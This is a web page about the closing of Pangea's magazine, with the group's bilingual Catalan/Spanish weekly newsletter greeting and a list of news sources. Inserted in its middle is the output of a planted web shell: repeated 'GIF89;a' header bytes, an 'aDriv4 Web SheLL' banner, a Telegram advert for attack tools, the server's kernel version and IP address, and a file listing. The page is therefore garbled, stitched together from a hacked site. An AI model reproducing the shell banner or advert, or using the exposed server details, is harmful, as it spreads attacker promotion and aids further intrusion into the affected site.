Cierre de la revista de Pangea

GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux wpmu 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
 Apache
 45.150.186.219
Name Type Size Owner/Group Permission Last Modified Actions
. dir - goaccess/goaccess 0755 2024-12-01 12:00:16
.. dir - goaccess/goaccess 0755 2025-08-31 10:00:17
I32_DATES.db application/octet-stream 141 B goaccess/goaccess 0644 2024-12-31 12:00:34
IGLP_LAST_PARSE.db application/octet-stream 124.94 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IGSL_HOSTS_MTRC_AGENTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IGSL_NOT_FOUND_MTRC_AGENTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IGSL_REQUESTS_MTRC_AGENTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IGSL_REQUESTS_STATIC_MTRC_AGENTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IGSL_STATUS_CODES_MTRC_AGENTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IGSL_VISITORS_MTRC_AGENTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IGSL_VISIT_TIMES_MTRC_AGENTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II08_HOSTS_MTRC_METHODS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II08_HOSTS_MTRC_PROTOCOLS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II08_NOT_FOUND_MTRC_METHODS.db application/octet-stream 21.43 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II08_NOT_FOUND_MTRC_PROTOCOLS.db application/octet-stream 21.43 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II08_REQUESTS_MTRC_METHODS.db application/octet-stream 45.07 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II08_REQUESTS_MTRC_PROTOCOLS.db application/octet-stream 45.07 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II08_REQUESTS_STATIC_MTRC_METHODS.db application/octet-stream 6.66 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II08_REQUESTS_STATIC_MTRC_PROTOCOLS.db application/octet-stream 6.66 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II08_STATUS_CODES_MTRC_METHODS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II08_STATUS_CODES_MTRC_PROTOCOLS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II08_VISITORS_MTRC_METHODS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II08_VISITORS_MTRC_PROTOCOLS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II08_VISIT_TIMES_MTRC_METHODS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II08_VISIT_TIMES_MTRC_PROTOCOLS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II32_AGENT_KEYS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II32_CNT_VALID.db application/octet-stream 518 B goaccess/goaccess 0644 2024-12-31 12:00:34
II32_HOSTS_MTRC_HITS.db application/octet-stream 45.54 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_HOSTS_MTRC_KEYMAP.db application/octet-stream 45.54 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_HOSTS_MTRC_ROOT.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II32_HOSTS_MTRC_VISITORS.db application/octet-stream 44.86 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_NOT_FOUND_MTRC_HITS.db application/octet-stream 28.48 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_NOT_FOUND_MTRC_KEYMAP.db application/octet-stream 28.48 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_NOT_FOUND_MTRC_ROOT.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II32_NOT_FOUND_MTRC_VISITORS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II32_REQUESTS_MTRC_HITS.db application/octet-stream 60.01 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_REQUESTS_MTRC_KEYMAP.db application/octet-stream 60.01 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_REQUESTS_MTRC_ROOT.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II32_REQUESTS_MTRC_VISITORS.db application/octet-stream 58.69 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_REQUESTS_STATIC_MTRC_HITS.db application/octet-stream 8.79 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_REQUESTS_STATIC_MTRC_KEYMAP.db application/octet-stream 8.79 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_REQUESTS_STATIC_MTRC_ROOT.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II32_REQUESTS_STATIC_MTRC_VISITORS.db application/octet-stream 8.79 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_STATUS_CODES_MTRC_HITS.db application/octet-stream 2.61 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_STATUS_CODES_MTRC_KEYMAP.db application/octet-stream 3.58 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_STATUS_CODES_MTRC_ROOT.db application/octet-stream 2.61 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_STATUS_CODES_MTRC_VISITORS.db application/octet-stream 1.72 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_VISITORS_MTRC_HITS.db application/octet-stream 518 B goaccess/goaccess 0644 2024-12-31 12:00:34
II32_VISITORS_MTRC_KEYMAP.db application/octet-stream 518 B goaccess/goaccess 0644 2024-12-31 12:00:34
II32_VISITORS_MTRC_ROOT.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II32_VISITORS_MTRC_VISITORS.db application/octet-stream 518 B goaccess/goaccess 0644 2024-12-31 12:00:34
II32_VISIT_TIMES_MTRC_HITS.db application/octet-stream 6.03 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_VISIT_TIMES_MTRC_KEYMAP.db application/octet-stream 6.03 KB goaccess/goaccess 0644 2024-12-31 12:00:34
II32_VISIT_TIMES_MTRC_ROOT.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
II32_VISIT_TIMES_MTRC_VISITORS.db application/octet-stream 6.03 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_AGENT_VALS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_HOSTS_MTRC_DATAMAP.db application/octet-stream 119.73 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_HOSTS_MTRC_ROOTMAP.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_NOT_FOUND_MTRC_DATAMAP.db application/octet-stream 106.41 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_NOT_FOUND_MTRC_ROOTMAP.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_REQUESTS_MTRC_DATAMAP.db application/octet-stream 299.64 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_REQUESTS_MTRC_ROOTMAP.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_REQUESTS_STATIC_MTRC_DATAMAP.db application/octet-stream 56.39 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_REQUESTS_STATIC_MTRC_ROOTMAP.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_STATUS_CODES_MTRC_DATAMAP.db application/octet-stream 16.97 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_STATUS_CODES_MTRC_ROOTMAP.db application/octet-stream 3.05 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_VISITORS_MTRC_DATAMAP.db application/octet-stream 766 B goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_VISITORS_MTRC_ROOTMAP.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_VISIT_TIMES_MTRC_DATAMAP.db application/octet-stream 7.47 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IS32_VISIT_TIMES_MTRC_ROOTMAP.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_CNT_BW.db application/octet-stream 642 B goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_HOSTS_MTRC_BW.db application/octet-stream 68.17 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_HOSTS_MTRC_CUMTS.db application/octet-stream 68.17 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_HOSTS_MTRC_MAXTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_NOT_FOUND_MTRC_BW.db application/octet-stream 42.59 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_NOT_FOUND_MTRC_CUMTS.db application/octet-stream 42.59 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_NOT_FOUND_MTRC_MAXTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_REQUESTS_MTRC_BW.db application/octet-stream 89.88 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_REQUESTS_MTRC_CUMTS.db application/octet-stream 89.88 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_REQUESTS_MTRC_MAXTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_REQUESTS_STATIC_MTRC_BW.db application/octet-stream 13.06 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_REQUESTS_STATIC_MTRC_CUMTS.db application/octet-stream 13.06 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_REQUESTS_STATIC_MTRC_MAXTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_STATUS_CODES_MTRC_BW.db application/octet-stream 3.78 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_STATUS_CODES_MTRC_CUMTS.db application/octet-stream 3.78 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_STATUS_CODES_MTRC_MAXTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_VISITORS_MTRC_BW.db application/octet-stream 642 B goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_VISITORS_MTRC_CUMTS.db application/octet-stream 642 B goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_VISITORS_MTRC_MAXTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_VISIT_TIMES_MTRC_BW.db application/octet-stream 8.91 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_VISIT_TIMES_MTRC_CUMTS.db application/octet-stream 8.91 KB goaccess/goaccess 0644 2024-12-31 12:00:34
IU64_VISIT_TIMES_MTRC_MAXTS.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
SI08_METH_PROTO.db application/octet-stream 440 B goaccess/goaccess 0644 2024-12-31 12:00:34
SI32_CNT_OVERALL.db application/octet-stream 63 B goaccess/goaccess 0644 2024-12-31 12:00:34
SI32_DB_PROPS.db application/octet-stream 33 B goaccess/goaccess 0644 2024-12-31 12:00:34
SI32_SEQS.db application/octet-stream 164 B goaccess/goaccess 0644 2024-12-31 12:00:34
SI32_UNIQUE_KEYS.db application/octet-stream 204.62 KB goaccess/goaccess 0644 2024-12-31 12:00:34
SU64_HOSTS_MTRC_METADATA.db application/octet-stream 2.9 KB goaccess/goaccess 0644 2024-12-31 12:00:34
SU64_NOT_FOUND_MTRC_METADATA.db application/octet-stream 2.29 KB goaccess/goaccess 0644 2024-12-31 12:00:34
SU64_REQUESTS_MTRC_METADATA.db application/octet-stream 2.9 KB goaccess/goaccess 0644 2024-12-31 12:00:34
SU64_REQUESTS_STATIC_MTRC_METADATA.db application/octet-stream 2.9 KB goaccess/goaccess 0644 2024-12-31 12:00:34
SU64_STATUS_CODES_MTRC_METADATA.db application/octet-stream 2.9 KB goaccess/goaccess 0644 2024-12-31 12:00:34
SU64_VISITORS_MTRC_METADATA.db application/octet-stream 2.9 KB goaccess/goaccess 0644 2024-12-31 12:00:34
SU64_VISIT_TIMES_MTRC_METADATA.db application/octet-stream 2.9 KB goaccess/goaccess 0644 2024-12-31 12:00:34
U648_HOSTS_MTRC_UNIQMAP.db application/octet-stream 56.01 KB goaccess/goaccess 0644 2024-12-31 12:00:34
U648_NOT_FOUND_MTRC_UNIQMAP.db application/octet-stream 270 B goaccess/goaccess 0644 2024-12-31 12:00:34
U648_REQUESTS_MTRC_UNIQMAP.db application/octet-stream 126.54 KB goaccess/goaccess 0644 2024-12-31 12:00:34
U648_REQUESTS_STATIC_MTRC_UNIQMAP.db application/octet-stream 27.67 KB goaccess/goaccess 0644 2024-12-31 12:00:34
U648_STATUS_CODES_MTRC_UNIQMAP.db application/octet-stream 70.63 KB goaccess/goaccess 0644 2024-12-31 12:00:34
U648_VISITORS_MTRC_UNIQMAP.db application/octet-stream 56.01 KB goaccess/goaccess 0644 2024-12-31 12:00:34
U648_VISIT_TIMES_MTRC_UNIQMAP.db application/octet-stream 72.83 KB goaccess/goaccess 0644 2024-12-31 12:00:34
© aDriv4

Algunas fuentes: Infomoc, Revista Rebelión, Ecologistas en Acción, Barrapunto, internautas, La Jornada, PCS, Mugak, etc.

El mensaje de la lista solía comenzar por:

Hola a tots i totes,

A continuació, us fem arribar una nova edició del butlletí setmanal de Pangea amb la corresponent selecció de notícies i articles destacats dels darrers dies. Us recordem que tant el present butlletí com les edicions anteriors també es troben disponibles a la categoria “Butlletí setmanal” de la secció “Revista” de la web (www.pangea.org).

Esperem que la informació sigui del vostre interès.

Salutacions,
L’Equip de Pangea 

__________________________________

Hola a todos y a todas,

A continuación, os hacemos llegar una nueva edición del boletín semanal de Pangea con la correspondiente selección de algunas noticias y artículos destacados de los últimos días. Os recordamos también que tanto el actual boletín como las ediciones anteriores se encuentran disponibles en la categoría “Boletín semanal” de la sección “Revista” de la web (www.pangea.org).

Esperamos que la información os resulte interesante.

Saludos,
El Equipo de Pangea